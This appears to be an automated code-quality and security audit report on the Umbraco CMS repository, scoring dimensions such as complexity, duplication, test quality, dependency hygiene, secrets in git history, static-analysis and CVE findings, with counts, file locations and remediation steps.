AC6 Visual & motion safety: Contrast and motion safety are PARTIAL by construction — literal colours (hex/rgb/hsl/named) in inline styles, in-repo <style> blocks, in-repo .css files, var() tokens, Tailwind neutral utilities and CSS-in-JS top-level declarations are read (same-rule/same-element colour+background pairs only); computed/runtime/theme colour, external-CDN stylesheets, CSS-in-JS dynamic (${…}) and nested-selector colours, cross-element pairs and image contrast stay out of reach, so a clean result is bounded by what the static CSS itself shows.
AC7 A11y enforcement: Enforcement is scored from in-repo config/CI evidence only — an a11y gate enforced in external tooling with no in-repo trace can't be credited, and a configured linter is presence, not proof the rules actually run or block a merge.
AX10 Code composition: Role is inferred from namespace/folder convention, not semantics — a domain concept living in a folder named "Services" reads as application, and the split is lines-of-code, not business value. The business-logic-share score is a SOFT, FLOORED signal: it contributes to the Architecture lens but is floored at the Critical gate, so an infrastructure-heavy design (a gateway, an ETL, a driver) is legitimately low without being nuked to zero.
C3 Audit Trail: This control is scored from in-repo evidence only — a working control configured outside the repository leaves no signal a static scan can credit.
C4 Data Retention: This control is scored from in-repo evidence only — its real-world effectiveness, exercised only at runtime, is outside a static scan.
ED5 Idempotency: Idempotency is judged from the handler body's visible writes and guards — a guard enforced by a database unique constraint, a broker's exactly-once delivery, or a domain method whose no-op-when-applied logic the scan can't follow may read as at-risk; the at-risk candidates are confirmed by a SAMPLED LLM verdict (advisory, not exhaustive) and degrade to heuristic-only when no model is configured. It flags the at-least-once double-apply SHAPE, not a runtime proof of a duplicate effect.
M4 Documentation accuracy: Onboarding quality is an LLM read of the docs/setup present — it cannot run the onboarding or measure how long a real new joiner takes; the verdict is sampled and advisory.
P4 Deployment & Rollback: Approval/branch-protection rules live in repository settings the scan cannot see — only their in-repo evidence (config files, workflows) is checked, so a control enforced purely in the host's settings reads as "not evidenced".
P5 DR & Backup: Backup/restore and disaster-recovery readiness is judged from in-repo evidence — a config that exists is not a tested restore, so the absence of positive evidence is reported as "not evidenced", never scored as present.
P6 Release Hygiene: Rollback/observability controls are inferred from repo artefacts (pipelines, dashboards-as-code) — controls configured in external tooling, with no in-repo trace, cannot be credited.
The LLM boundary
LLM-set scores this run (7): D19, D21, D22, D24, D26, ED5, M4 (model: Local LLM). For these, a model reads a bounded sample and sets the numeric score; each names its own sample and method on its card. They are sampled and advisory by design: they vary at the margins between runs and are never a deterministic measurement. Every other score in this report is tool-computed at confidence 1.0.
What it measures: How tangled the control flow is — methods with many branches are hard to test and change.
Method: Cyclomatic complexity per method (1 + decision points), computed exhaustively across production source; test projects separated by convention. Deterministic.
131 method(s) exceeded the cyclomatic complexity threshold of 15; the worst was BulkDataReader.AddSchemaTableRow at 89. A further 18 method(s) were over the threshold but excluded as flat dispatchers (a long switch/match over independent cases: many branches, almost no nesting), the largest being Utf8ToAsciiConverter.ToAscii at 1312 — they are counted neither in the figure above nor in this dimension's score. 13 files carry no cyclomatic complexity row at all for this reason — every one of their over-threshold methods was excluded, so the exclusion is disclosed nowhere in the file itself: src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs (Utf8ToAsciiConverter.ToAscii at 1312), src/Umbraco.Cms.Api.Management/Controllers/User/UserOrCurrentUserControllerBase.cs (UserOrCurrentUserControllerBase.UserOperationStatusResult at 38), src/Umbraco.Cms.Api.Management/Controllers/DocumentType/DocumentTypeControllerBase.cs (DocumentTypeControllerBase.ContentTypeOperationStatusResult at 28), src/Umbraco.Cms.Persistence.SqlServer/Services/MicrosoftSqlSyntaxProviderBase.cs (MicrosoftSqlSyntaxProviderBase.GetSqlDbType at 28), src/Umbraco.Cms.Api.Management/Controllers/Content/ContentControllerBase.cs (ContentControllerBase.ContentPublishingOperationStatusResult at 26), and 8 more not listed here. They are named here because the per-file figures other dimensions report are taken BEFORE this exclusion, so such a file can show a high maximum complexity elsewhere in this report and nothing here, with nothing to reconcile the two.
+ 126 more group(s) — more in Appendix A; the complete list is findings.md.
What to do
Resolve the 1 BulkDataReader.AddSchemaTableRow (cyclomatic 89) finding(s) in Cyclomatic Complexity — start with BulkDataReader.cs. — One of this dimension's main actionable groups (1 warning-level).
Resolve the 1 PublishableContentServiceBase.CommitContentChangesInternal (cyclomatic… finding(s) in Cyclomatic Complexity — start with PublishableContentServiceBase.cs. — One of this dimension's main actionable groups (1 warning-level).
Resolve the 1 ExpressionVisitorBase.VisitMethodCall (cyclomatic 63) finding(s) in Cyclomatic Complexity — start with ExpressionVisitorBase.cs. — One of this dimension's main actionable groups (1 warning-level).
Enforce Cyclomatic Complexity in CI to reach Verified (currently Documented). — Hardens enforcement from Documented toward Prevented — provenance only; does not change the score.
Detailed fixes: d1_recommendation.md · top locations in Appendix A, every location in findings.md.
What it measures: How hard the code is for a person to follow, beyond raw branching.
Method: Cognitive complexity per method (Sonar-style nesting-penalized score), computed exhaustively over production code, excluding test projects. Deterministic.
+ 260 more group(s) — more in Appendix A; the complete list is findings.md.
What to do
Resolve the 2 ShadowFileSystem.AddFile (cognitive 19) finding(s) in Cognitive Complexity — start with ShadowFileSystem.cs (2). — One of this dimension's main actionable groups (2 warning-level).
Resolve the 1 PublishableContentServiceBase.CommitContentChangesInternal (cognitive… finding(s) in Cognitive Complexity — start with PublishableContentServiceBase.cs. — One of this dimension's main actionable groups (1 warning-level).
Resolve the 1 BulkDataReader.AddSchemaTableRow (cognitive 105) finding(s) in Cognitive Complexity — start with BulkDataReader.cs. — One of this dimension's main actionable groups (1 warning-level).
Enforce Cognitive Complexity in CI to reach Verified (currently Documented). — Hardens enforcement from Documented toward Prevented — provenance only; does not change the score.
Detailed fixes: d2_recommendation.md · top locations in Appendix A, every location in findings.md.
Do you agree with this assessment?
D3 · God Classes9.1 / 10Stronggated by 124 serious findings✓ Tool-verified
What it measures: Over-large classes that try to do too much ("god classes").
Method: God-class detection by line and method-count thresholds per logical type (partial classes unified), filtered for generated code and registration/contract false positives. Deterministic.
Resolve the 51 TooManyMethods finding(s) in God Classes — start with UserService.cs, ContentService.cs, PublishableContentServiceBase.cs. — One of this dimension's main actionable groups (51 warning-level).
Resolve the 31 FileTooLong finding(s) in God Classes — start with DatabaseDataCreator.cs, Utf8ToAsciiConverter.cs, DatabaseCacheRepository.cs. — One of this dimension's main actionable groups (31 warning-level).
Resolve the 27 MethodTooLong finding(s) in God Classes — start with DatabaseDataCreator.cs (6), PublishableContentServiceBase.cs (2), UmbracoBuilder.CoreServices.cs (2). — One of this dimension's main actionable groups (27 warning-level).
Enforce God Classes in CI to reach Verified (currently Documented). — Hardens enforcement from Documented toward Prevented — provenance only; does not change the score.
Detailed fixes: d3_recommendation.md · top locations in Appendix A, every location in findings.md.
What it measures: Copy-pasted code that should be shared instead.
Method: Code duplication via token-stream sliding windows with type-aware normalization (locals masked, type names preserved), density-scored per KLoC of production code. Deterministic.
320 duplicated block group(s) detected. A further 6 rows report members as variants of one another; they aggregate block groups already counted above and are not themselves counted. Measured on part of this repository only: .js, .ts (79% of production source) was not exposed to the token comparison, so duplication there is unmeasured and is not in this count.
+ 129 more group(s) — more in Appendix A; the complete list is findings.md.
What to do
Resolve the 16 Duplicated block (13 lines × 2) finding(s) in Code Duplication — start with OrderedCollectionBuilderBase.cs (2), ElementContainerPermissionService.cs (2), SqlitePocoDateAndTimeOnlyMapper.cs (2). — One of this dimension's main actionable groups (16 warning-level).
Resolve the 16 Duplicated block (8 lines × 2) finding(s) in Code Duplication — start with ContentTypeRepository.cs (2), PublishStatusRepository.cs (2), DatabaseDataCreator.cs. — One of this dimension's main actionable groups (16 warning-level).
Resolve the 14 Duplicated block (11 lines × 2) finding(s) in Code Duplication — start with LazyCollectionBuilderBase.cs (2), EntityService.cs, UserGroupService.cs. — One of this dimension's main actionable groups (14 warning-level).
Enforce Code Duplication in CI to reach Verified (currently Documented). — Hardens enforcement from Documented toward Verified — provenance only; does not change the score.
Detailed fixes: d4_recommendation.md · top locations in Appendix A, every location in findings.md.
Do you agree with this assessment?
D5 · Coupling8.9 / 10Strong✓ Tool-verified
What it measures: Whether volatile projects sit underneath others that depend on them (so their churn ripples upward), and whether project dependencies form cycles. A widely-depended-on but stable shared/kernel project is healthy, not penalised.
Method: Dependency cycles via elementary-DFS over real .csproj references, plus Martin instability (afferent/efferent) per project. Exhaustive over the reference graph, deterministic.
Coverage: Exhaustive · type-level: afferent/efferent coupling + cycles computed over every production type — the population is all types, not a name convention.
Off the main sequence: Umbraco.Examine.Lucene · ×4
What to do
Resolve the 4 Off the main sequence finding(s) in Coupling. — One of this dimension's main actionable groups (4 warning-level).
Enforce Coupling in CI to reach Verified (currently Documented). — Hardens enforcement from Documented toward Prevented — provenance only; does not change the score.
Detailed fixes: d5_recommendation.md · top locations in Appendix A, every location in findings.md.
What it measures: Whether a class's methods are focused on a single responsibility.
Method: LCOM4 cohesion per production class with at least two methods: connected components of methods sharing state or calls, computed syntactically. Deterministic, not a proxy.
Coverage: Exhaustive · type-level: LCOM4 cohesion computed over every production class — the population is all types, not a name convention.
Resolve the 4 Low cohesion finding(s) in Cohesion (LCOM4) — start with UserPresentationFactory.cs, DbProviderFactoryCreator.cs, SqlSyntaxProviderBase.cs. — One of this dimension's main actionable groups (4 warning-level).
Enforce Cohesion (LCOM4) in CI to reach Verified (currently Documented). — Hardens enforcement from Documented toward Verified — provenance only; does not change the score.
Detailed fixes: d6_recommendation.md · top locations in Appendix A, every location in findings.md.
Do you agree with this assessment?
D9 · Test Distribution10.0 / 10Exemplary✓ Tool-verified
What it measures: Whether the test suite has a healthy mix of unit / integration / end-to-end tests.
Method: Test projects classified (Unit/Integration/BDD/E2E) from compiled metadata; test methods counted exhaustively across projects with placement-agnostic disk fallback. Deterministic.
7619 test methods: 4240 unit, 3379 integration, 0 BDD, 0 e2e.
✓ On the Gold path — maintain.
Detailed fixes: d9_recommendation.md.
Do you agree with this assessment?
D10 · Test Quality9.9 / 10Adequategated by 4 critical findings✓ Tool-verified
What it measures: Whether the tests truly assert behaviour rather than just running the code.
Method: Per-test assertions, skips, and mock references analyzed via Roslyn; structured skip-reason tags (BUG:/ENV:) separate documented deferrals from debt. Deterministic.
24 skipped (17 with a documented reason), 37 zero-assertion, 10 synchronised by a fixed sleep, 2 depending on a live external host, 3 mock references across 7619 tests. Measured on the C# suite only — at least 914 test source file(s) (.ts) went unread, so its test quality is unmeasured and is not in these counts.
No assertions (empty test): Bug_Changing_Built_In_Member_Type_Property_Type_Aliases_Results_In_Exception · ×4tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/Persistence/Repositories/MemberTypeRepositoryTest.cs:231
No assertions: SingleReadLockTest · ×33tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/Persistence/LocksTests.cs:41
Depends on a live external host: ExternalLoginCallback_Success_WithNonLocalReturnUrl_FallsBackToCurrentPage · ×2tests/Umbraco.Tests.UnitTests/Umbraco.Web.Website/Controllers/UmbExternalLoginControllerTests.cs:80
+ 2 more group(s) — more in Appendix A; the complete list is findings.md.
What to do
Resolve the 4 No assertions (empty test) finding(s) in Test Quality — start with MemberTypeRepositoryTest.cs (3), MemberServiceTests.cs. — One of this dimension's main actionable groups (4 issue-level).
Resolve the 33 No assertions finding(s) in Test Quality — start with NestedScopeTests.cs (9), EFCoreLockTests.cs (6), EFCoreScopeNotificationsTest.cs (4). — One of this dimension's main actionable groups (33 warning-level).
Resolve the 10 Fixed-sleep synchronisation finding(s) in Test Quality — start with LocksTests.cs (4), ScopeTests.cs (2), EFCoreLockTests.cs (2). — One of this dimension's main actionable groups (10 warning-level).
Enforce Test Quality in CI to reach Verified (currently Documented). — Hardens enforcement from Documented toward Prevented — provenance only; does not change the score.
Detailed fixes: d10_recommendation.md · top locations in Appendix A, every location in findings.md.
Do you agree with this assessment?
D11 · Test Reliability10.0 / 10Exemplary✓ Tool-verified
What it measures: Whether the tests pass reliably, with no flakiness.
Method: Suite re-run N times within tiered wall-clock budgets (unit to e2e); tests failing non-deterministically across runs flagged; guarded tests retried when #if guards detected.
0 flaky across 2 measured tier(s). unit: measured (0 flaky); integration: not included — too large to re-run within its budget; other: measured (0 flaky).
What it measures: Whether dependencies are current, secure, and not bloated.
Method: Manifest scan via dotnet list package across all projects; worst-signal-per-package deduction (saturating for vulnerabilities, capped-linear for deprecation/outdated) per KLoC. Exhaustive, deterministic.
29 outdated, 0 vulnerable, 0 deprecated, 2 prerelease packages. Those are the NuGet packages; this repository's npm dependencies were read too — 72 outdated of 136 package(s) across 4 lockfile(s).
Resolve the 2 Prerelease dependency finding(s) in Dependency Hygiene. — One of this dimension's main actionable groups (2 warning-level).
Enforce Dependency Hygiene in CI to reach Verified (currently Documented). — Hardens enforcement from Documented toward Verified — provenance only; does not change the score.
Detailed fixes: d12_recommendation.md · top locations in Appendix A, every location in findings.md.
What it measures: Whether any secrets (keys, tokens, passwords) have leaked into the code.
Method: In-process native secret scanner (entropy plus signature patterns) across all tracked files; no external tool. A clean result is a measured 10, not no-data zero. Deterministic.
What it measures: Whether the licenses of third-party packages are compatible with your policy.
Method: Third-party package licenses resolved from declared package metadata and checked against the configured policy (allow/deny/copyleft). Deterministic; clean = no incompatible license found at metadata depth.
What it measures: Files that change often and are also complex — the riskiest hotspots.
Method: Per production file churn times cyclomatic complexity over a rolling window, computed from git and Roslyn/JS/Razor analysis. Exhaustive, deterministic per commit date.
Top hotspots: src/Umbraco.Core/Services/PublishableContentServiceBase.cs (4×70=280); src/Umbraco.Web.UI.Client/src/packages/core/tree/tree-item/tree-item-children.manager.ts (6×28=168); src/Umbraco.Core/Services/ContentService.cs (8×16=128) Repeated repair below the complexity floor: tests/Umbraco.Tests.AcceptanceTest/lib/helpers/DataTypeApiHelper.ts (4 of 7 changes were fixes); tests/Umbraco.Tests.AcceptanceTest/lib/helpers/MediaUiHelper.ts (3 of 5 changes were fixes); tests/Umbraco.Tests.AcceptanceTest/lib/helpers/MediaTypeApiHelper.ts (3 of 4 changes were fixes)
Resolve the 30 Hotspot finding(s) in Churn × Complexity Hotspots — start with PublishableContentServiceBase.cs, tree-item-children.manager.ts, ContentService.cs. — One of this dimension's main actionable groups (30 warning-level).
Resolve the 10 Repeated repair finding(s) in Churn × Complexity Hotspots — start with DataTypeApiHelper.ts, MediaUiHelper.ts, MediaTypeApiHelper.ts. — One of this dimension's main actionable groups (10 warning-level).
Detailed fixes: d15_recommendation.md · top locations in Appendix A, every location in findings.md.
Do you agree with this assessment?
D16 · Bus Factor9.4 / 10Exemplary✓ Tool-verified
What it measures: Whether knowledge is concentrated in too few people (the "bus factor").
Method: Living knowledge per author via time-decayed commit attribution (6-month half-life, focus weighting) across largest source files. Deterministic, avoids blame's mechanical-refactor false positives.
119 source file(s) have their living knowledge concentrated in one author (≥90% of recent, decayed contribution). The largest is src/Umbraco.Cms.Api.Delivery/OpenApi/Transformers/ContentTypeSchemaTransformer.cs. Counted over 2024 of the 5964 production source files in this repository: 3935 are under the ~2,400-byte size floor this dimension measures over, and the remaining 5 have no attributable history left to measure.
Off-boarding risk: anonymized user #1 · ×5
Further sole-owners (lower concentration)
✓ On the Gold path — maintain.
Detailed fixes: d16_recommendation.md · top locations in Appendix A, every location in findings.md.
What it measures: Acknowledged debt left in the code — TODOs, dead code, suppressed warnings.
Method: Roslyn syntactic debt markers (suppressions/TODO/FIXME/HACK/empty-catch/commented-code/Obsolete) plus SymbolFinder dead-code analysis; weighted-debt-per-KLoC density deducted 2.0x per unit. Deterministic, exhaustive.
1057 deducted debt markers + 0 dead symbols across 414515 LoC in the .NET projects (0.6/KLoC) → score 8.7. Measured on the .NET source only: .js, .ts (79% of production source) was not read, and carries at least 829 uncounted task marker(s) in 497 file(s).
+ 12 more group(s) — more in Appendix A; the complete list is findings.md.
What to do
Resolve the 71 WriteOnlyPrivateField finding(s) in Explicit Debt — start with ContentPermissions.cs (4), ContentCollectionControllerBase.cs (2), MetricsConsentService.cs (2). — One of this dimension's main actionable groups (71 issue-level).
Resolve the 5 NoWarnInCsproj finding(s) in Explicit Debt — start with Umbraco.Cms.Targets.csproj (2), Umbraco.Templates.csproj, Umbraco.Tests.Integration.csproj. — One of this dimension's main actionable groups (5 issue-level).
Resolve the 1 EmptyCatchBlock finding(s) in Explicit Debt — start with SystemLock.cs. — One of this dimension's main actionable groups (1 issue-level).
Enforce Explicit Debt in CI to reach Verified (currently Documented). — Hardens enforcement from Documented toward Prevented — provenance only; does not change the score.
Detailed fixes: d17_recommendation.md · top locations in Appendix A, every location in findings.md.
What it measures: Whether the project's documentation is clear, complete, and useful.
Method: Judged by language model at low temperature (0.0-0.1) on a deterministic doc sample (READMEs plus first 25 architecture docs), with two-pass stability filtering. Advisory, sampled.
Comprehensive documentation for the Umbraco project: 30 README files plus architecture/design docs and 12867 XML-doc coverage across 52 packages. The main strengths are clear installation/usage guides (e.g. dotnet new install Umbraco.Templates, Backoffice preview at backofficepreview.umbraco.com), a dedicated Contributing section for template packaging into .nupkg, and detailed examples covering workspace contexts, property dataset dashboards, UFM custom components, and tree registration. The documentation is well-structured with an outline present in every clipped document. The Umbraco project has strong documentation: 30 README files covering examples (e.g. property-value-permissions, manifest-picker, icons), a comprehensive architecture/Docs markdown set with the full outline for each covered package, and high XML-doc coverage across most assemblies (94-100%). The visible content is clear and complete; the weakest element is an example that appears in two READMEs but is not fully realized in any one of them. This is a minor structural gap rather than a substantive omission.
The acceptance test README is a stub that references no tests and does not show how to run the acceptance suite.tests/Umbraco.Tests.AcceptanceTest/README.md
Resolve the 1 The acceptance test README is a stub that references no tests and does… finding(s) in Documentation Quality — start with README.md. — One of this dimension's main actionable groups (1 recommendation-level).
Detailed fixes: d19_recommendation.md · top locations in Appendix A, every location in findings.md.
Do you agree with this assessment?
D20 · ADR Quality0.0 / 10Critical✓ Tool-verified
What it measures: Whether architecture decisions are recorded well (context, decision, consequences).
Method: Per-ADR judgment by language model at low temperature with two-pass stability; confidence is share of ADRs evaluated; enforcement-field presence detected deterministically. Advisory.
What it measures: Whether names — types, methods, variables — are clear and consistent.
Method: Judged by language model at low temperature (0.0-0.1) on a deterministic random symbol sample (fixed size, not exhaustive), with disclosed confidence band. Advisory, sampled.
1 naming inconsistencies across 200 sampled symbols.
Inconsistent naming for test classes: some test classes end with 'Test' (singular) while others end with 'Tests' (plural). Specifically, 'ServerRegistrationRepositoryTest', 'ContentTypeRepositoryTest', and 'TagRepositoryTest' use the singular suffix, whereas the vast majority of other test classes in the sample (e.g., 'PackageDataInstallationTests', 'PatchDocumentControllerTests') use the plural suffix.
✓ On the Gold path — maintain.
Detailed fixes: d21_recommendation.md · top locations in Appendix A, every location in findings.md.
Do you agree with this assessment?
D22 · Internal API ConsistencyStrong◐ Sampled · advisory
What it measures: Whether the internal API surface is consistent and coherent.
Method: Judged by language model at low temperature over a sample of the public API surface (IsPackable or .Contracts types). Sampled, advisory; confidence discounted by model uncertainty.
3 API inconsistencies across a 400-member sample of 584 exposed types.
Inconsistent naming for test initialization methods: some use 'SetUp' (camelCase) and others use 'Setup' (PascalCase). Additionally, 'GlobalSetupTeardown' uses 'SetUp' while many controller tests use 'Setup'.
Redundant/Deprecated API surface: 'GetHostingEnvironment' returns the obsolete 'IHostingEnvironment' while 'GetWebHostEnvironment' returns the modern 'IWebHostEnvironment'.
Confusingly similar method names: 'TryAssert' and 'Try' have nearly identical signatures and likely similar retry logic, but the distinction between 'Assert' and 'Try' is not immediately clear from the signature alone (one might throw, the other might return bool or void).
What to do
Resolve the 1 Inconsistent naming for test initialization methods finding(s) in Internal API Consistency. — One of this dimension's main actionable groups (1 warning-level).
Resolve the 1 Redundant/Deprecated API surface finding(s) in Internal API Consistency. — One of this dimension's main actionable groups (1 warning-level).
Resolve the 1 Confusingly similar method names finding(s) in Internal API Consistency. — One of this dimension's main actionable groups (1 warning-level).
Detailed fixes: d22_recommendation.md · top locations in Appendix A, every location in findings.md.
Do you agree with this assessment?
D24 · Comment ValueExemplary◐ Sampled · advisory
What it measures: Whether comments are worth it — explaining WHY (valuable) rather than WHAT (redundant).
Method: Judged by language model at low temperature (0.0-0.1) on deterministically sampled inline comments with surrounding code; findings verified back to sampled comments by substring match. Advisory, sampled.
4 of 30 projects flagged as possibly oversized/incoherent.
Split Umbraco.Infrastructure
Split Umbraco.Cms.Api.Management
What to do
Resolve the 1 Split Umbraco.Infrastructure finding(s) in Project Cohesion. — One of this dimension's main actionable groups (1 recommendation-level).
Resolve the 1 Split Umbraco.Cms.Api.Management finding(s) in Project Cohesion. — One of this dimension's main actionable groups (1 recommendation-level).
Detailed fixes: d26_recommendation.md · top locations in Appendix A, every location in findings.md.
What it measures: How far you must trace to follow a call — low indirection and co-located slices read easier.
Method: Call indirection (interface hops, cross-namespace calls, slice-locality scaled) over a sampled set of method invocations, size-aware baseline. Sampled; confidence discounted by symbol-resolution gaps.
Coverage: Slice locality from the first namespace segments, SAMPLED (≤400 methods) — not exhaustive.
86 % of calls cross a namespace and 5 % go through an interface, but 100 % of collaborators are co-located — so a call's collaborators sit together and tracing stays easy. Baseline: large — vertical-slice locality expected. Measured over the .cs source only — this repository's .ts was not sampled for call sites, so this score covers part of the tree, not all of it.
What it measures: Whether any secrets were ever committed — scanned across the full git history, not just now.
Method: Secret scan via TWO gitleaks detect passes in an isolated checkout — the full git history, then a second --no-git pass over the working tree as it stands — merged and de-duplicated by (rule, file, line); each match flagged High. Both invocations are recorded in the audit trail. Exhaustive; when the tool is absent, or when its output cannot be parsed into the expected shape, the dimension is WITHHELD as an explicit measurement gap on our side — unscored and excluded from the lens, never a hedged middling score.
10 finding(s): 0 critical, 10 high, 0 medium, 0 low. Remediation for historically-committed secrets is credential rotation — they remain in history regardless of later deletion.
High secret: WD-SECRET-0003src/LinqToUmbraco/src/umbraco.Linq/Solution Items/umbraco-key.snk @ 2df0dbb:1 (committed 2009-06-19T09:02:25+00:00)detected by watchdog-engine
Rotate the exposed credentials — git history can't be un-committed
What to do
Resolve the 7 Secret finding(s) in Secrets (history) — start with workspace-view-language-edit.element.ts, fb8e5b2a.js, OwinStartup.cs. — One of this dimension's main actionable groups (7 issue-level).
Resolve the 1 High secret finding(s) in Secrets (history) — start with umbraco-key.snk. — One of this dimension's main actionable groups (1 issue-level).
Resolve the 1 Rotate the exposed credentials finding(s) in Secrets (history). — One of this dimension's main actionable groups (1 recommendation-level).
Detailed fixes: d28_recommendation.md · top locations in Appendix A, every location in findings.md.
What it measures: Real static-analysis (SAST) findings — likely security bugs in the code, any language.
Method: Polyglot static analysis via semgrep across the repo using the pinned, image-baked p/security-audit + p/owasp-top-ten rulesets (no scan-time registry fetch); severity rules (ERROR/WARNING/INFO) map to a full-band severity-weighted score. Exhaustive, deterministic; degrades on parse failure.
Coverage: semgrep pattern rules over all files — exhaustive for the rule set, blind to classes of bug without a rule (clean = no rule matched).
55 finding(s): 0 critical, 51 high, 4 medium, 0 low. 32 unpinned-GitHub-Actions row(s) are reported here but scored by D36 (supply-chain provenance), which measures that posture as `pinned_actions` — one pinning decision is charged once, not once per lens. semgrep hit a parse error in 462 file(s) — `src/Umbraco.Cms.Api.Management/Controllers/Element/Folder/Item/FolderItemControllerBase.cs` (lines 10–12), `src/Umbraco.Cms.Api.Management/Controllers/Element/Item/ElementItemControllerBase.cs` (lines 10–12), `src/Umbraco.Cms.Api.Management/Services/Entities/IDocumentStartNodeTreeFilterService.cs` (line 6), `src/Umbraco.Cms.Api.Management/Services/Entities/IElementStartNodeTreeFilterService.cs` (line 6), `src/Umbraco.Cms.Api.Management/Services/Entities/IMediaStartNodeTreeFilterService.cs` (line 6), … (+457 more) — so no absence of findings in the named regions is evidence of anything; rows reported elsewhere in those files are real. Fix the syntax error (or exclude the file deliberately) and re-scan to cover them. In 7 of those file(s) — `src/Umbraco.Core/Models/PublishedContent/PublishedValueFallback.cs`, `src/Umbraco.Core/Models/ServerInformation.cs`, `src/Umbraco.Core/PropertyEditors/ContentPickerPropertyEditor.cs`, `src/Umbraco.Infrastructure/Persistence/NPocoSqlExtensions.cs`, `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/DistributedJobRepository.cs`, … (+2 more) — the break is a C# primary constructor, which semgrep's grammar cannot parse and which hides the type from every rule scoped to it; those files were re-scanned from a shadow copy with the constructor's parameter list blanked (line and column preserving), which restores the type to the rules, and 0 additional row(s) came from that pass. Only the header's own parameter list is unread in them. In 4 of those file(s) — `src/Umbraco.Core/Services/RelationService.cs`, `src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs`, `src/Umbraco.Infrastructure/Persistence/UmbracoDatabase.cs`, `src/Umbraco.Infrastructure/Security/MemberUserStore.cs` — the break is at a TYPE DECLARATION (a C# primary constructor semgrep's grammar cannot parse), so the loss is wider than the named lines: rules scoped to that type see no type to scope to and are blind over its whole body, while rules matching statements keep working there. Absence of a type-scoped finding in those types is not evidence of anything. Separately, one or more rules could not re-parse an embedded snippet in 1 file(s) (e.g. a workflow `run:` block read as shell). Those files WERE scanned and their other rows are unaffected; only those rules' view of those snippets is missing.
High: github-actions-mutable-action-tag · ×51.github/workflows/azure-backoffice.yml:26detected by semgrep finding
Medium: missing-or-broken-authorization · ×4src/Umbraco.Cms.Api.Management/Controllers/BackOfficeLoginController.cs:13detected by semgrep finding
What to do
Resolve the 19 High finding(s) charged to Static Analysis (SAST) — the other 32 are reported here at file:line but scored by D36 (supply-chain provenance), which charges them once. — One of this dimension's main actionable groups (51 issue-level, 19 of them charged here).
Resolve the 4 Medium finding(s) in Static Analysis (SAST) — start with BackOfficeLoginController.cs, BackOfficeDefaultController.cs, Maintenance.cshtml. — One of this dimension's main actionable groups (4 warning-level).
Detailed fixes: d29_recommendation.md · top locations in Appendix A, every location in findings.md.
What it measures: Whether any dependency has a known published vulnerability (CVE), direct or transitive, in ANY ecosystem the repository declares — Dart pub, Elixir/Hex, Go modules, Java and Kotlin via Maven/Gradle, JavaScript/npm, .NET/NuGet, PHP/Composer, Python/PyPI, RubyGems, Rust/Cargo and Swift.
Method: Dependency-CVE scan across every ecosystem the repository declares, scored ONCE. Three sources are unioned and deduplicated by advisory identity (rule id + alias closure, CVE<->GHSA) scoped to package+version, keeping the worst severity: `osv-scanner --recursive` over osv.dev for Dart pub, Elixir/Hex, Go, Java and Kotlin via Maven/Gradle, npm, PHP/Composer, Python/PyPI, RubyGems, Rust/Cargo and Swift; `trivy fs --scanners vuln` for npm lockfiles; and `dotnet list package --vulnerable --include-transitive` for NuGet (with per-advisory collapse of the project x target-framework fan-out), plus a DECLARED-dependency arm that resolves a published gem's gemspec against rubygems.org where no Gemfile.lock is committed. `SeverityScore(c,h,m,l, normalizer 8.0)`. NotApplicable only when NO ecosystem is readable; if any applicable ecosystem could not be scanned the findings are REPORTED and the score is withheld. Supersedes the npm and OSV arms, retired 2026-09-05.
7 finding(s): 0 critical, 5 high, 2 medium, 0 low. Partial dependency scan: 1 of 3 declared ecosystem(s) were scanned (osv), and the findings above are real and complete for them. npm,nuget was not scanned (nuget: `dotnet list package --vulnerable` could not read this solution's dependency graph — it reported an error for at least one project and returned no package data at all (typically a packages.config / non-PackageReference project, which the command cannot read). An unreadable dependency graph is not a clean one; migrate the project(s) to PackageReference to enable this scan; npm: the scanner produced no output at all, so no dependency was actually scanned), so this is not the whole dependency surface and the result is reported at reduced confidence.
High CVE: [GHSA redacted] · ×4src/Umbraco.Web.UI.Client/devops/icon-manager/package-lock.jsondetected by osv-scanner finding
High vulnerability: [GHSA redacted]src/Umbraco.Web.UI.Client/package-lock.jsondetected by osv-scanner finding
Medium CVE: [GHSA redacted] · ×2src/Umbraco.Web.UI.Client/package-lock.jsondetected by osv-scanner finding
What to do
Resolve the 4 High CVE finding(s) in Dependency Vulnerabilities — start with package-lock.json (4). — One of this dimension's main actionable groups (4 issue-level).
Resolve the 1 High vulnerability finding(s) in Dependency Vulnerabilities — start with package-lock.json. — One of this dimension's main actionable groups (1 issue-level).
Resolve the 2 Medium CVE finding(s) in Dependency Vulnerabilities — start with package-lock.json (2). — One of this dimension's main actionable groups (2 warning-level).
Detailed fixes: d30_recommendation.md · top locations in Appendix A, every location in findings.md.
High IaC: DS-0002templates/UmbracoDockerCompose/Database/Dockerfile:5detected by trivy finding
Medium IaC: WD-DOCKER-0003 · ×3templates/UmbracoDockerCompose/Database/Dockerfile:1detected by watchdog IaC rule
Low IaC: WD-DOCKER-0003 · ×4.devcontainer/Dockerfile:3detected by watchdog IaC rule
What to do
Resolve the 1 High IaC finding(s) in IaC & Container Security — start with Dockerfile. — One of this dimension's main actionable groups (1 issue-level).
Resolve the 4 Low IaC finding(s) in IaC & Container Security — start with Dockerfile (3), docker-compose.yml. — One of this dimension's main actionable groups (4 recommendation-level).
Resolve the 3 Medium IaC finding(s) in IaC & Container Security — start with Dockerfile (3). — One of this dimension's main actionable groups (3 warning-level).
Detailed fixes: d31_recommendation.md · top locations in Appendix A, every location in findings.md.
What it measures: Whether anyone still has living knowledge of each file, or it has been orphaned — last understood long ago by someone now gone quiet. The sibling of the bus factor: D16 asks who owns it, D34 asks whether anyone still knows it.
Method: File orphaning as total living-knowledge decay below one focused-commit's worth within a year, computed per-file from the D16 decay model. Exhaustive, deterministic over fixed history.
76 of 2029 significant source file(s) are orphaned — their living knowledge has decayed to nothing, so no one currently understands them. The largest is src/Umbraco.Web.Common/Extensions/ImageCropperTemplateCoreExtensions.cs. Counted over 2029 of the 5964 production source files in this repository: the rest are under the ~2,400-byte size floor this dimension measures over.
Resolve the 3 Orphaned knowledge finding(s) in Knowledge Freshness — start with ImageCropperTemplateCoreExtensions.cs, UmbracoMapper.cs, SqlMainDomLock.cs. — One of this dimension's main actionable groups (3 issue-level).
Resolve the 1 Further orphaned files (smaller) finding(s) in Knowledge Freshness. — One of this dimension's main actionable groups (1 recommendation-level).
